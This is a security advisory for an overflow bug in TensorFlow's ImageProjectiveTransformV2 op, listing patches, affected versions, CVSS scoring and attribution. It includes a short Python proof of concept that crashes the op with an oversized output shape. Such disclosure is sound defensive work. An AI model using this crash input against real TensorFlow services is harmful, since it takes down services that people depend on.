Overflow in `ImageProjectiveTransformV2`

Description

Impact

When tf.raw_ops.ImageProjectiveTransformV2 is given a large output shape, it overflows.

import tensorflow as tf

interpolation = "BILINEAR"
fill_mode = "REFLECT"
images = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32)
transforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32)
output_shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
tf.raw_ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output_shape=output_shape, interpolation=interpolation, fill_mode=fill_mode)

Patches

We have patched the issue in GitHub commit 8faa6ea692985dbe6ce10e1a3168e0bd60a723ba.

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

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Attribution

This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
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Source code
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Published (advisory)
2022-11-21 20:40:55 UTC
Updated
2023-02-01 05:04:05 UTC
GitHub reviewed
2022-11-21 20:40:55 UTC
NVD published
2022-11-18

EPSS Score

Score Percentile
0.14% 34.49%

CVSS Scores

Base score Version Severity Vector
4.8 3.1
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:H)
Even with access, the exploit needs extra luck, timing, or a fussy environment to actually work.
Privileges required (PR:L)
A normal user session is enough; they don’t have to be admin.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-131 Incorrect Calculation of Buffer Size

Affected packages (9)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip tensorflow < 2.8.4 2.8.4
pip tensorflow >= 2.9.0, < 2.9.3 2.9.3
pip tensorflow >= 2.10.0, < 2.10.1 2.10.1
pip tensorflow-cpu < 2.8.4 2.8.4
pip tensorflow-gpu < 2.8.4 2.8.4
pip tensorflow-cpu >= 2.9.0, < 2.9.3 2.9.3
pip tensorflow-gpu >= 2.9.0, < 2.9.3 2.9.3
pip tensorflow-cpu >= 2.10.0, < 2.10.1 2.10.1
pip tensorflow-gpu >= 2.10.0, < 2.10.1 2.10.1

References

cvelogic Threat Intelligence